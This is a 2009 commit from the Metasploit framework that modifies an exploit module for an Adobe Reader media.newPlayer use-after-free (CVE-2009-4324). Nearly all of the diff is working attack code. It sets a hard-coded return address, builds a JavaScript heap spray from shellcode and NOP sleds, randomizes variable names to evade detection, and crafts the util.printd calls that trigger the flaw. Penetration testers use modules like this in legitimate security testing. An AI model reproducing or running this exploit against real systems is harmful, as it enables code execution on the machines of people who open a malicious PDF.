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Cleanups

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Allow arbitrary (non-unicode) targets




git-svn-id: file:///home/svn/framework3/trunk@7895 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
pusscat 2009-12-16 21:44:18 +00:00
parent e563e91d35
commit 0fa275b53b
1 changed files with 16 additions and 9 deletions
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25
modules/exploits/windows/fileformat/adobe_media_newplayer.rb
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@ -33,7 +33,6 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
[ 'CVE', '2009-4324' ],
[ 'BID', '37331' ],
[ 'OSVDB', '60980' ]
],
'DefaultOptions' =>
@ -50,14 +49,12 @@ class Metasploit3 < Msf::Exploit::Remote
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 6.0.1 - vulnerable / doesn't work
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - vulnerable / doesn't work
# reader 7.0.9 - untested
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.1 - works
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
@ -66,9 +63,10 @@ class Metasploit3 < Msf::Exploit::Remote
# reader 9.0.0 - untested
# reader 9.1.0 - works
# reader 9.2 - works (no debugger, no DEP)
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
[ 'Adobe Reader Windows English (JS Heap Spray)',
{
'Size' => (0x10000/2)
'Size' => (0x10000/2),
'Ret' => 0x002e0031
}
],
],
@ -91,12 +89,21 @@ class Metasploit3 < Msf::Exploit::Remote
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize variables
#
len = 72
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(len/2)
rand5 = rand_text_alpha(len/2)
retstring = Rex::Text.to_unescape([target.ret].pack('V') + rand_text_alpha(len-4))
# The printd strings are 72 bytes (??)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}");
var #{rand3} = unescape("#{retstring}");
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
@ -107,10 +114,10 @@ for(i=0;i<0x2000;i++) {
memory[i]= #{rand2} + #{rand1};
}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("#{rand4}", new Date());
util.printd("#{rand5}", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd(#{rand3}, new Date());
|
# Create the pdf